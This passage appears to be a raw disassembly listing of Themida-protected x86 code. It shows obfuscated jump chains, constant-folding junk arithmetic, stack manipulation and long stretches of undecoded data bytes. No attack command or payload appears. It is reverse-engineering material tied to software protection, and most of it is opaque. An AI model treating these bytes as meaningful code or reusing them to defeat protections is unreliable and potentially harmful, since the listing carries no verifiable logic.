		dd 0FFFFB058h, 4EC81h, 14890000h, 80E5B624h, 0CE80A0E6h
		dd 80CEFE6Fh, 0F680F1E6h, 0E2A1E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A766:				; CODE XREF: Themida_:00552450j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55231F
; ---------------------------------------------------------------------------


loc_55A771:				; CODE XREF: Themida_:005539E9j
		mov	edx, 4C4F41AEh
		inc	edx
		xor	edx, 35CB474Bh
		and	edx, 2AC801E2h
		sub	edx, 0B953A681h
		or	edi, edx
		pop	edx
		shl	edi, 5
		push	edi
		xchg	edi, [esp]
		not	edi
		jmp	loc_551374
; ---------------------------------------------------------------------------
		dw 0C331h
		dd 0E930FF66h, 0FFFF62A2h, 8804C483h, 0E95058C6h, 0FFFFC6E4h
; ---------------------------------------------------------------------------


loc_55A7B0:				; CODE XREF: Themida_:00557764j
		add	edx, 4
		jmp	loc_559FB8
; ---------------------------------------------------------------------------
		db 54h
		dd 40558h, 0BE560000h, 4, 0FFFEEEE9h, 0C8B66FFh, 2BB96824h
		dd 14890000h, 815A5424h, 4C2h, 0F0C5E900h, 0C481FFFFh
		dd 4, 0FFD4CBE9h, 24048BFFh, 8304C483h,	23E904C4h, 81FFFF7Eh
		dd 7975C1EAh, 0E9DA011Bh, 0FFFFF01Eh, 0C002E9C0h, 0C18006E9h
		dd 8BCB003Ch, 0E7E9240Ch, 29FFFFF6h, 0E0E951F8h, 81FFFFB2h
		dd 6B7536E9h, 0D845E943h, 0D2F7FFFFh, 53CE281h,	54E9471Bh
		dd 81FFFFC9h, 548009F1h, 7BE5E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A84A:				; CODE XREF: Themida_:0055883Bj
		sub	[esp+4], ebp
		add	dword ptr [esp+4], 50A97A7Eh
		pop	ebp
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		mov	edx, 62B805BAh
		push	edx
		push	eax
		pop	edx
		jmp	loc_552FB8
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF6EE2F7h, 65C3813Ah, 0E931921Eh, 0FFFFED22h
; ---------------------------------------------------------------------------


loc_55A88C:				; CODE XREF: Themida_:00552F32j
		pop	eax
		xor	edx, ebp
		pop	ebp
		xor	edx, 2A116D2Ah
		jmp	loc_55C57B
; ---------------------------------------------------------------------------
		db 58h
		dd 0E907E3C1h, 0FFFF6D32h, 0F1176FBBh, 5BDD2138h, 3DAC6857h
		dd 815F345Eh, 0A23FA2EFh, 0C7814736h, 77FA28ADh, 515FFD29h
		dd 51178B9h, 0E9CD0175h, 2553h
; ---------------------------------------------------------------------------


loc_55A8D0:				; CODE XREF: Themida_:0055CCDAj
		and	edx, ebx
		pop	ebx
		jmp	loc_558DB9
; ---------------------------------------------------------------------------
		dd 0C381FB01h, 537929D8h, 0F4E9505Fh, 81000018h, 4C4h
		dd 0B7FCE900h, 0FB05FFFFh, 0E92A525Ch, 0FFFFE35Fh, 8B2434FFh
		dd 0C481242Ch, 4, 4C481h, 33E90000h, 1FFFF61h, 685B59C8h
		dd 5C6Ah, 0BE243489h, 1A3436ADh, 24E9F301h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A92B:				; CODE XREF: Themida_:005591F0j
		push	1EF73FCAh
		pop	ebp
		jmp	loc_556238
; ---------------------------------------------------------------------------
a_sa		db '_ИМ',0Bh,0
		align 4
		dd 0E2C1D2F7h, 0DCEA8105h, 1E8293Fh, 0BD555AD3h, 4, 875DEB01h
		dd 685C241Ch, 59B3h, 89240489h,	22DFE9E0h, 0C4810000h
		dd 4, 72EB80h, 241C8BD8h, 6804C483h, 7F24h, 68241489h
		dd 6EBDh, 0B5240C89h, 10B4E9FCh, 8B660000h, 12682404h
		dd 89000043h, 5C68240Ch, 0E9000050h, 1663h, 80D6B753h
		dd 0C780C8EFh, 80D7F604h, 0F888DBC7h, 0B50BE95Bh, 0C781FFFFh
		dd 463A5171h, 0FF85D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A9C5:				; CODE XREF: Themida_:00557EA2j
		xor	eax, ebx
		jmp	loc_55510D
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 0E9580000h, 0FFFFF0D5h, 0FF84E959h
		dd 0E5C0FFFFh, 80D5F607h, 0D5F63EE5h, 28B2C580h, 0C4FE59ECh
		dd 1CE95053h, 31FFFF93h, 148B66C3h, 6F6C6824h, 34890000h
		dd 815E5424h, 4C6h, 0EC815200h,	4, 0BF243C89h, 25405218h
		dd 4A77EF81h, 0B8506094h, 0C4AC079Fh, 548E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AA31:				; CODE XREF: Themida_:00550E27j
		push	esi
		sub	esp, 4
		jmp	loc_557B60
; ---------------------------------------------------------------------------
		dw 0C8BAh
		dd 3122D275h, 31D731FAh, 0E9D7F7FAh, 0FFFF6E0Ch, 538734FFh
		dd 0EF64ACBBh, 245C3131h, 0FFE95B04h, 53000010h, 8A541ABBh
		dd 43DBF727h, 562DCB81h, 0F3816809h, 9F4501Eh, 66F5CB81h
		dd 94E92ED5h, 1FFFF80h,	0CDC281C2h, 564DA278h, 7D52BA52h
		dd 0E2E908FFh
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA93:				; CODE XREF: Themida_:0055AC95j
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_550AEF
; ---------------------------------------------------------------------------
		dd 0C3809D34h, 71DBE934h, 5241FFFFh, 0EA68BEBAh, 6CE954h
		dd 7B80000h, 57B6317h, 0E3D9265Dh, 8AE9C389h, 81FFFF8Eh
		dd 521115C6h, 0D8EE814Fh, 537B195Ah, 6D45D868h,	0F3815B3Eh
		dd 31B85802h, 15BDE01h,	3AB951C6h, 0C1292D7Dh, 0C98107E9h
		dd 3B3B1815h, 0C2DBC181h, 0CE29D459h, 81240C8Bh, 4C4h
		dd 0D8C68100h, 517B195Ah, 5D150DB9h, 0B3E9811Ch, 814BCD16h
		dd 697089C1h, 0E327E921h, 0EA81FFFFh, 23FE11C0h, 0FFC489E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AB2D:				; CODE XREF: Themida_:005560D6j
		mov	[esp], ebx
		jmp	loc_555CF3
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0A0h
		dd 89053F14h, 0EA835BDAh, 2CF281FFh, 8706E42Ah,	87D3F7DAh
		dd 59EA81DAh, 1A6F0B0h,	0B405E9D3h, 1433FFFFh, 0E9525C24h
		dd 0FFFFB4D2h, 81E28952h, 4C2h,	4EA8100h, 87000000h, 248B2414h
		dd 242C8924h, 43C168h, 748BE900h, 348BFFFFh, 4C48124h
		dd 0E9000000h, 0FFFF5EB2h
; ---------------------------------------------------------------------------


loc_55AB94:				; CODE XREF: Themida_:0055868Dj
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		push	ebp
		jmp	loc_559C32
; ---------------------------------------------------------------------------
		db 55h
		dd 6F6DBA68h, 0C5815D74h, 0FFFFFFFFh, 21BFE9h, 243C8700h
		dd 2404895Ch, 0FF5E85E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ABC1:				; CODE XREF: Themida_:0055C0ADj
		add	edx, ecx
		pop	ecx
		sub	edx, 0DEE561BAh
		push	edx
		sub	dword ptr [esp], 338B101Bh
		pop	edi
		add	edi, 338B101Bh
		pop	edx
		and	ebx, edi
		mov	edi, [esp]
		push	430Fh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5514FA
; ---------------------------------------------------------------------------
		db 1, 0D3h, 5Ah
		dd 6997C381h, 0EC810322h, 4, 0FFD0D2E9h, 2474FFFFh, 48F5804h
		dd 34FF5C24h, 2434FF24h, 4EC8159h, 0E9000000h, 0FFFFF4D2h
		dd 7E27BE56h, 39E91C22h, 88FFFFA7h, 0F190E9DCh,	0DF01FFFFh
		dd 4C7835Bh, 31243C33h,	3C33243Ch, 0C6835C24h, 74FF5604h
		dd 0C6E90424h, 0BAFFFF77h, 2, 515AD101h, 42474FFh, 0BA1BE959h
		dd 0FE01FFFFh, 83243C8Bh, 0DE904C4h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC7B:				; CODE XREF: Themida_:0055163Cj
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, 73906D89h
		add	eax, edx
		sub	eax, 73906D89h
		pop	edx
		push	78D3h
		jmp	loc_55AA93
; ---------------------------------------------------------------------------
		dw 5150h
		dd 8776E4B9h, 68BA5240h, 81317804h, 4BDD2CEAh, 5AD131BAh
		dd 352EE181h, 7FE909A0h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ACBB:				; CODE XREF: Themida_:0055627Aj
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4


loc_55ACC7:				; CODE XREF: Themida_:00556366j
		push	3E5Ch
		mov	[esp], ebp
		push	ebx
		pop	ebp
		sub	esp, 4
		jmp	loc_552BE2
; ---------------------------------------------------------------------------
		dd 4EC81h, 91E90000h, 31FFFFD5h, 2C33242Ch, 24248B24h
		dd 0FFFC99E9h, 4C481FFh, 56000000h, 0FB37A2BEh,	78EB8147h
		dd 29503307h, 78C381F3h, 0FF503307h, 0E95E2434h, 43Bh
		dd 4BBh, 0E9DE0100h, 0FFFFDCA2h, 0B753665Ah, 88C58086h
		dd 0FF7D92E9h, 0E9475EFFh, 0FFFF8542h, 47A868h,	242C8900h
		dd 6EB168h, 24148900h, 0F9A502BAh, 0ABE9515Fh
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AD53:				; CODE XREF: Themida_:005559A5j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5528C0
; ---------------------------------------------------------------------------


loc_55AD65:				; CODE XREF: Themida_:00550DA5j
		or	ebx, ebp
		pop	ebp
		add	ebx, 3312FADFh
		push	0F8BCD972h
		jmp	loc_55601C
; ---------------------------------------------------------------------------
		dd 0E902E7C0h, 0FFFF7023h, 3C01292Dh, 69113507h, 0C5294D2Eh
		dd 242C8758h, 8924248Bh, 90E9240Ch, 9FFFFCBh, 0CE8158C6h
		dd 2EAA733Fh, 7FBEE81h,	0F701C7EEh, 5FF8015Eh, 7E78BA52h
		dd 0C2816BEAh, 38397495h, 5E2C14Ah, 0C6EA8142h,	815B614Ah
		dd 1D16B9EAh, 0E9D00129h, 8A6h,	69E95966h, 81000000h, 369554F5h
		dd 5DEE893Fh, 0CFE9F201h, 89FFFFC2h, 4832424h, 0E9590424h
		dd 1117h
; ---------------------------------------------------------------------------


loc_55ADF8:				; CODE XREF: Themida_:005577FFj
		sub	ebx, 4
		jmp	loc_557BB6
; ---------------------------------------------------------------------------
		align 4
		dd 0E72C59C8h, 0E704D828h, 5C5E9h, 0E6C18100h, 5A6F6B1Ch
		dd 31240C33h, 0C33240Ch, 0B60F5C24h, 148B66C0h,	0CA8E924h
		dd 4B80000h, 1000000h, 8AAEE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AE3A:				; CODE XREF: Themida_:005571A1j
		mov	esi, 0F7E3236h
		jmp	loc_55518A
; ---------------------------------------------------------------------------
aAUs		db '─дщ(ЦИ╡',9,0
		align 2


loc_55AE4E:				; CODE XREF: Themida_:0055A67Ej
		push	dword ptr [esp]
		jmp	loc_559E82
; ---------------------------------------------------------------------------


loc_55AE56:				; CODE XREF: Themida_:00554E28j
		push	46D8h
		mov	[esp], ebx
		push	ecx
		mov	cl, 0Dh
		not	cl
		jmp	loc_558D07
; ---------------------------------------------------------------------------


loc_55AE68:				; CODE XREF: Themida_:0055237Fj
		push	ebx
		jmp	loc_555E87
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 1E36h, 0E1895158h, 4C181h, 0C1830000h, 240C8704h, 243C875Ch
		dd 0BB0F665Ch, 0E99C2404h, 0FFFF5BB2h, 114CEF81h, 8147075Eh
		dd 517252EFh, 473E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AEA6:				; CODE XREF: Themida_:0055C582j
		mov	eax, 193779DDh
		add	eax, 5C7E776Eh
		not	eax
		or	eax, 73395F2Bh
		push	edi
		jmp	loc_55BD86
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd offset dword_450050+5918h
		dd 241C8900h, 8FE9E389h, 8BFFFFB8h, 0C483243Ch,	81DEF704h
		dd 147DECEEh, 11F6811Eh, 0E95FAD0Bh, 830h, 4C3835Fh, 8B241C87h
		dd 0B4E92424h, 8BFFFFB3h, 99E9241Ch, 0F700001Dh, 83BD55D7h
		dd 0C1586767h, 0C9E908EDh, 89FFFF98h, 0AEB7241Ch, 0FF8533E9h
		dd 0E9F301FFh, 0FFFFBBAEh, 24048B66h, 0CEB68h, 240C8900h
		dd 73CE68h, 24248900h, 4240481h, 0FF000000h, 0C8B2434h
		dd 4C48324h, 0FF75E7E9h, 48B66FFh, 0EC815124h, 4, 45D468h
		dd 24248900h, 4240481h,	8F000000h, 0DFE92404h, 8F000012h
		dd 248B2404h, 24048924h, 0FF89E0E9h, 58C729FFh,	24048157h
		dd 765C6D91h, 91EA815Ah, 0E9765C6Dh, 0FFFFA3AEh, 28B6664h
		dd 0FFAF34E9h, 5EF301FFh, 4EC81h, 1C890000h, 2474FF24h
		dd 48F5B04h, 24248B24h,	9C240431h, 0FF5A8DE9h, 48B66FFh
		dd 0B220E924h, 8B66FFFFh, 0E768240Ch, 0E9000000h, 1238h
		dd 0DAF7EAD1h, 0CF8BEA81h, 0D3295A75h, 0CFE4E95Ah, 0C781FFFFh
		dd 7E88325Dh, 0A6EC781h, 0C781081Ch, 70E55308h,	0CF0FE9FDh
		dd 0B652FFFFh, 0E951532Ch, 15AAh
; ---------------------------------------------------------------------------


loc_55B004:				; CODE XREF: Themida_:00551CF9j
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	4B64h
		mov	[esp], eax
		jmp	loc_556447
; ---------------------------------------------------------------------------
		dd 0E959CD01h, 0FFFFC150h
; ---------------------------------------------------------------------------


loc_55B030:				; CODE XREF: Themida_:005550F4j
		add	esp, 4
		jmp	loc_5565AD
; ---------------------------------------------------------------------------
		db 66h
		dd 0E95EF189h, 0C28h, 241C8B5Ah, 0C004C483h, 0B3E902E0h
		dd 5600000Bh, 2B66AC68h, 24348B10h, 4C481h, 1B2D0000h
		dd 2D687E11h, 25D62919h, 0BA52F001h, 25D62919h,	55AD001h
		dd 687E111Bh, 5E2434FFh, 81E68956h, 4C6h, 0BEF1E900h, 0D901FFFFh
		dd 4EC815Bh, 89000000h,	0BD55241Ch, 51B852C4h, 47AD40BBh
		dd 5DEB01AEh, 893E981h,	0E9813F7Bh, 7B327DD0h, 0C181D901h
		dd 7B327DD0h, 0FFC0B3E9h, 0E9DCB4FFh, 0FFFF5D10h
; ---------------------------------------------------------------------------


loc_55B0C8:				; CODE XREF: Themida_:0055CB31j
		add	ebx, 5C720FE2h
		dec	ebx
		and	ebx, 775570F1h
		neg	ebx
		sub	ebx, 4BA1A6D3h
		and	ebp, ebx
		pop	ebx
		jmp	loc_550ED1
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 9C243CD3h, 0FF91CEE9h, 243487FFh, 8124248Bh,	644CA0C5h
		dd 0D8E9451Dh, 0E9FFFFFCh, 0FFFF593Eh, 0B850D5F7h, 16511FBDh
		dd 48BC509h, 0D3D0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B11A:				; CODE XREF: Themida_:0055A126j
		pop	esi
		or	ebp, eax
		pop	eax
		shl	ebp, 5
		add	ebp, 0D95BEA5Ah
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_55B2BA
; ---------------------------------------------------------------------------


loc_55B131:				; CODE XREF: Themida_:00558435j
		push	eax
		jmp	loc_55A556
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF8B20E9h, 2AB951FFh, 293DB07Ah, 0B94E9C8h,	3C870000h
		dd 2BE95C24h, 68FFFFD6h, 1FB4h,	54243489h, 4C6815Eh, 81000000h
		dd 4C6h, 74FF5600h, 348B0424h, 4C48124h, 8F000000h, 248B2404h
		dd 0F2EB8124h, 1513922h, 0F2C381C3h, 0E9513922h, 0FFFFD4E3h
		dd 1C195E68h, 0F0E95F0Eh, 58FFFFCBh, 5C24048Fh,	8B243C87h
		dd 34FF2424h, 0B4685A24h, 89000071h, 52E9242Ch,	68FFFFB9h
		dd 2, 8324048Bh, 0C38104C4h, 0AEF6B90h,	2529EB81h, 0C301185Ch
		dd 2529C381h, 0EB81185Ch, 0AEF6B90h, 1D5BE9h, 2474FF00h
		dd 48F5904h, 53E95C24h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B1EF:				; CODE XREF: Themida_:00558ACEj
		pop	ebp
		add	eax, ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 6C665D18h
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_5531FF
; ---------------------------------------------------------------------------
		db 68h
		dd 0A390702h, 0FFBD2AE9h, 81E689FFh, 4C6h, 4B85000h, 1000000h
		dd 0EA34E9C6h, 0F652FFFFh, 815A2414h, 2ECh, 1C896600h
		dd 0A374E924h, 0C00BFFFFh, 0B9BB840Fh, 6E68FFFFh, 0E9000072h
		dd 0FFFF623Ah
; ---------------------------------------------------------------------------


loc_55B24C:				; CODE XREF: Themida_:0055C3B7j
		push	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_5590F6
; ---------------------------------------------------------------------------


loc_55B257:				; CODE XREF: Themida_:00559081j
		sub	eax, 21FC43EDh
		add	edx, 5C2B44DCh
		sub	edx, eax
		sub	edx, 5C2B44DCh
		pop	eax
		xchg	edx, [esp]
		jmp	loc_551FE8
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 7EE95C24h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B27F:				; CODE XREF: Themida_:00559D6Dj
		sub	edi, ebx
		add	edi, 167313EEh
		push	dword ptr [esp]
		pop	ebx
		push	eax
		mov	eax, esp
		jmp	loc_55546E
; ---------------------------------------------------------------------------
aRitsD3buC	db 'R┴БS╩',27h,'\d3│Ц╟"≈',0
		dw 0E381h
		dd 558B730Eh, 0F9E3814Bh, 816D5163h, 0AE9C0BC3h, 6276E992h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2BA:				; CODE XREF: Themida_:0055B12Cj
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	ecx, eax
		jmp	loc_550A52
; ---------------------------------------------------------------------------
		db 8Bh
		dd 39E92414h, 52000002h, 0FF99B3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B2E5:				; CODE XREF: Themida_:00552DB0j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_552021
; ---------------------------------------------------------------------------


loc_55B2FB:				; CODE XREF: Themida_:00556FFCj
		mov	ecx, 7BAB049Ch
		jmp	loc_5558D1
; ---------------------------------------------------------------------------


loc_55B305:				; CODE XREF: Themida_:00558C46j
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5551E3
; ---------------------------------------------------------------------------
		db 40h
		dd 0FF8BA3E9h, 7AE957FFh, 80FFFFCDh, 0C7802BC7h, 0E9FA8830h
		dd 0FFFFA657h, 4C481h, 0F1E90000h, 0BDFFFF5Eh, 2, 2C8BEB89h
		dd 4C48324h, 4645C581h,	0DD016012h, 4645BF57h, 0FD296012h
		dd 0FF93A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B359:				; CODE XREF: Themida_:00553DE6j
		add	eax, 68D66F2Dh
		jmp	loc_555219
; ---------------------------------------------------------------------------


loc_55B363:				; CODE XREF: Themida_:005535D5j
		xor	esi, 6E609B9h
		mov	eax, esi
		pop	esi
		dec	eax
		add	eax, 1
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 22F453E0h
		jmp	loc_554BD1
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 24248B24h, 4A30F66h, 0AFE99C24h
		dd 66FFFF56h, 8BD9205Ah, 0C481241Ch, 4,	9AE980h, 240C8BC8h
		dd 6804C483h, 87Dh, 0B5240C89h,	0D39AE920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B3BE:				; CODE XREF: Themida_:00550ADAj
		mov	esi, esp
		jmp	loc_551426
; ---------------------------------------------------------------------------
		db 1, 0FEh, 5Fh
		dd 2C681h, 34870000h, 837E924h,	0F02C0000h, 0E0B55153h
		dd 0EF3032B7h, 80EFD059h, 686676F7h, 8966194Ch,	54F6241Ch
		dd 5B660124h, 0C780C7FEh, 5251666Fh, 72E9FA88h,	55FFFF56h
		dd 0FFFF2EE9h, 1A35B9FFh, 0CB297F48h, 0E9008F59h, 0FFFF562Eh
		dd 5166DE2Ch, 0FFAC2CE9h, 3C875AFFh, 24248B24h,	592434FFh
		dd 92368h, 240C8900h, 88E9E189h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55B43B:				; CODE XREF: Themida_:0055142Cj
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	4CC2h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	15FFh
		jmp	loc_5596E7
; ---------------------------------------------------------------------------


loc_55B464:				; CODE XREF: Themida_:00552BACj
		shr	ebp, 8
		add	ebp, 39406E95h
		sub	edi, ebp
		pop	ebp
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_5571F0
		push	eax
		jmp	loc_55B66B
; ---------------------------------------------------------------------------
		dd 8306EAC1h, 0EA81FFEAh, 6F0A1295h, 0D957C281h, 0D0016D55h
		dd 148EE9h, 77B95100h, 5229CA2Fh, 900669BAh, 0F6EA8179h
		dd 314FC5D6h, 0CA015AD1h, 24148759h, 5224248Bh,	0D3283CB2h
		dd 51C3285Ah, 0F4C2E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B4E2:				; CODE XREF: Themida_:00559756j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5566B9
; ---------------------------------------------------------------------------
		db 89h,	0CEh, 59h
		dd 1B80C681h, 0FFE92C80h, 66FFFF58h, 5724048Bh,	2434FF54h
		dd 4C4835Fh, 769E9h, 5052AC00h,	0E988B353h, 0FFFFD883h
		dd 4C481h, 0C2810000h, 4, 0FF71E0E9h, 5EF729FFh, 6FABEB81h
		dd 0FB291B49h, 6FABC381h, 3C8B1B49h, 4C48124h, 81000000h
		dd 0F55A35C3h, 0ADEB817Eh, 0E91A3436h, 1913h, 0EB81E3D1h
		dd 904E666Eh, 2434C281h, 0DA2972EBh, 890BF57h, 0CF8158D4h
		dd 5A563EBDh, 0CF81D7F7h, 215169B4h, 1234EF81h,	0CF810951h
		dd 2D8B2BEDh, 0FFA37AE9h, 24248BFFh, 0FF54B5E9h, 6CB81FFh
		dd 81725037h, 3C7C7AF3h, 0F3BD554Ah, 311A164Fh,	19C1E9EBh
		dd 1C890000h, 876824h, 11E92870h, 81FFFFEBh, 945705EAh
		dd 81C20162h, 945705C2h, 0BB535862h, 4,	0FFE29EE9h, 242C8BFFh
		dd 4C481h, 0D2F70000h, 0C106EAC1h, 0EA8105E2h, 47074883h
		dd 107EBD55h, 0EA290179h, 0FF56F7E9h, 0D5EE81FFh, 8B67F357h
		dd 0C8E9243Ch, 0ACFFFF71h, 0B6525351h, 0E942B339h, 0C0h
; ---------------------------------------------------------------------------


loc_55B610:				; CODE XREF: Themida_:00556B27j
		mov	ebx, 4ECC21B7h
		mov	ebp, 3B791F33h
		xor	ebp, ebx
		pop	ebx
		shr	ebp, 4
		push	edx
		mov	edx, 5FB64A16h
		jmp	loc_559B53
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF60FBE9h, 2EEC1FFh, 0FF57E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B639:				; CODE XREF: Themida_:0055849Ej
		mov	edi, ebp
		mov	ebp, [esp]
		jmp	loc_556DD1
; ---------------------------------------------------------------------------
		db 68h
		dd 2951h, 0FF242C89h, 0FF042474h, 0E95D2434h, 0FFFFA1ECh
		dd 1C8BDE01h, 4C48324h,	3304EE83h, 0D4E92434h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B66B:				; CODE XREF: Themida_:0055B497j
		mov	eax, 1Ch
		sub	eax, 585E7215h
		jmp	loc_55C1FE
; ---------------------------------------------------------------------------
		dw 875Ah
		dd 248B2404h, 89666424h, 53BCE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B68A:				; CODE XREF: Themida_:0055500Cj
		pop	ecx
		pop	eax
		push	3045h
		mov	[esp], esi
		pop	eax
		push	dword ptr [esp]
		pop	esi
		push	ecx
		jmp	loc_55705C
; ---------------------------------------------------------------------------
		db 5Dh
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 0AA2E9h, 9BB15100h
		dd 0E9BCE180h, 76Eh
; ---------------------------------------------------------------------------


loc_55B6C0:				; CODE XREF: Themida_:005567F9j
		pop	esp
		mov	[esp], ebx
		push	edx
		push	0B671CEFh
		pop	edx
		jmp	loc_5513F2
; ---------------------------------------------------------------------------
		dd 0E95AF330h, 0FFFFDB91h
; ---------------------------------------------------------------------------


loc_55B6D8:				; CODE XREF: Themida_:00553CB7j
		mov	esi, 1F0C7A18h
		sub	esi, ebx
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_55A0D4
; ---------------------------------------------------------------------------
		dw 0C331h
		dd 0E9D90158h, 964h
; ---------------------------------------------------------------------------


loc_55B6F4:				; CODE XREF: Themida_:00554B1Aj
		mov	eax, 4C0C5AB9h
		sub	eax, 0DD05353h
		or	eax, 369F1DFFh
		inc	eax
		or	eax, 41BA7323h
		add	eax, 80408CDCh
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_557B46
; ---------------------------------------------------------------------------
		dd 525EF129h, 0DF196CBAh, 5AD13146h, 6EB2E181h,	0E9576250h
		dd 0FFFFD608h
; ---------------------------------------------------------------------------


loc_55B730:				; CODE XREF: Themida_:005539CAj
		sub	esp, 4
		jmp	loc_551FC3
; ---------------------------------------------------------------------------
		db 45h
		dd 6845h, 2C810000h, 0BE243D24h, 242C2939h, 3D240481h
		dd 8B39BE24h, 7EE9242Ch, 0FFFFFFA0h, 58042474h,	8B24048Fh
		dd 34FF2424h, 0EC835924h, 24148904h, 7E3A68h, 24248900h
		dd 4240483h, 8124148Bh,	4C4h, 4B85000h,	0E9000000h, 0FFFFFE27h
		dd 0DDE9D729h, 68FFFF7Ah, 275F6477h, 83FBE95Fh,	0C15BFFFFh
		dd 0CF8103E7h, 164E5F28h, 6457CF81h, 0EF8132B6h, 52C7B4D8h
		dd 3C8BFE89h, 4C48124h,	81000000h, 374B23EEh, 93F5E96Ch
		dd 1BBAFFFFh, 536DF638h, 660355BBh, 59C3810Ch, 810C304Ah
		dd 8C182EEBh, 61EB813Bh, 296F1401h, 241C8BDAh, 8904C483h
		dd 0CF295AD1h, 0E92434FFh, 0FFFF7CBFh, 0E924048Bh, 0FFFF66CFh
		dd 0F096E953h, 0D901FFFFh, 7942C181h, 0FFE97FA6h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B81B:				; CODE XREF: Themida_:00559798j
		mov	esi, 4BF213ABh
		push	edx
		mov	edx, 68B0182Fh
		jmp	loc_558FB4
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFA3A2E9h, 455F68FFh, 6FE90000h, 68FFFFFDh,	4D19h
		dd 0BF243C89h, 4AD74A00h, 99E9FD01h, 53FFFFD1h,	8904EC83h
		dd 0E9532434h, 0C6Eh, 0FFEA815Fh, 57FFFFFFh, 0F82E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B869:				; CODE XREF: Themida_:00557C8Ej
		push	0A0Eh
		mov	[esp], edi
		mov	edi, 7F0404CBh
		and	edi, 4B9360FEh
		push	edx
		push	esi
		push	563C1F07h
		pop	esi
		or	esi, 14F44A15h
		jmp	loc_557B21
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 2474FF24h, 1594E904h, 0C890000h, 35AE924h
		dd 2C870000h, 24248B24h, 0FFC986E9h, 240481FFh,	4, 592434FFh
		dd 4C481h, 0C1810000h, 4, 2BE56h, 72E90000h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B8D3:				; CODE XREF: Themida_:00555E82j
		push	edx
		jmp	loc_55BC65
; ---------------------------------------------------------------------------


loc_55B8D9:				; CODE XREF: Themida_:0055CFB6j
		or	edi, 513E3E8Bh
		inc	edi
		jmp	loc_552498
; ---------------------------------------------------------------------------


loc_55B8E5:				; CODE XREF: Themida_:00558221j
		add	ecx, eax
		sub	ecx, 73CD47E9h
		pop	eax
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_553CA9
; ---------------------------------------------------------------------------
		db 0E9h
